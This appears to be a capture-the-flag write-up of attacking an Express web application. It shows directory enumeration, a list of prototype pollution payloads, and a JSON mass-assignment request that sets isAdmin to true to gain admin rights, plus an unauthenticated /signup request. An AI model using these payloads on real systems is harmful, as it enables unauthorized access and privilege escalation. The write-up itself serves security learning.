Express app (port 4000)
Upon visiting the page, we are presented with a login page with a note to sign in as guest:guest
.
Enumeration
I opened Burp suite, and configured my browser to route traffic through the Burp proxy.
From inspection of the network requests, I discovered that the server uses Express via the X-Powered-By
response headers. Express is a Node.js web framework used to develop web server applications (https://expressjs.com/).

Running a simple directory enumeration on port 4000 with gobuster
, using the wordlist:
$ gobuster dir -u http://<target>:4000 -w <wordlist>

From the enumeration results, the one that stands out is the /signup
route. I visited the address in the browser, and was faced with the following error:

From this error message, we can learn of a few things:
a) The application uses a certain type of server-side rendered templating engine stored under the views
folder
Eg. Common Node.js engines includes:
.ejs
,.pug
, etc.
b) The root directory of the web application is /home/ubuntu/include
The application is ran as the user
ubuntu
Moving on, I logged into the application using the guest:guest
credentials found earlier. I was presented with a page displaying my profile, along with a few of my friends. Navigating to my profile, I was able to view my current details, along with a form to "Recommend an Activity":

Upon entering the values test and test to the fields, a new entry appeared on the profile details:

This presents an interesting vulnerability, since we are able to directly manipulate the profile details. The following displays the HTTP POST request:
POST /recommend-activity/1 HTTP/1.1
Host: xxx.xxx.xxx.xxx:4000
User-Agent: xxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Origin: http://xxx.xxx.xxx.xxx:4000
Connection: keep-alive
Referer: http://xxx.xxx.xxx.xxx:4000/friend/1
Cookie: connect.sid=xxxx
Upgrade-Insecure-Requests: 1
Priority: u=0, i
activityType=test&activityName=test
I sent the request to the Burp Repeater, and attempted a prototype pollution attack with the following payloads for activityType
and activityName
set to true
:
proto.polluted
constructor.prototype.polluted
__proto__['polluted']
__proto__.constructor.prototype.polluted
['__proto__'].polluted
['__proto__']['pollluted']
constructor['prototype'].polluted
constructor['prototype']['polluted']
['constructor']['prototype'].polluted
['constructor']['prototype']['polluted']
However, none of the payloads worked. Instead, I attempted to directly change the isAdmin
field to true
, but ended up changing the value to the literal string "true"
. To get around this, I changed the content-type to application/json
and tried the same request with the following payload:
{
"activityType":"isAdmin",
"activityName": true
}
With this, we are now an admin. Upon navigating to the profile page, I noticed 2 more options on the navigation bar: “API” and “Settings”
Additional findings
The POST /signin
route can be changed to /signup
to create a new user:
POST /signup HTTP/1.1
Host: xxx.xxx.xxx.xxx:4000
User-Agent: xxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://xxx.xxx.xxx.xxx:4000
Connection: keep-alive
Referer: http://xxx.xxx.xxx.xxx/signin
Cookie: connect.sid=xxxx
Upgrade-Insecure-Requests: 1
Priority: u=0, i
name=newuser&password=newpass
This request creates a new user with the username and password of newuser
and newpass
respectively.
Last updated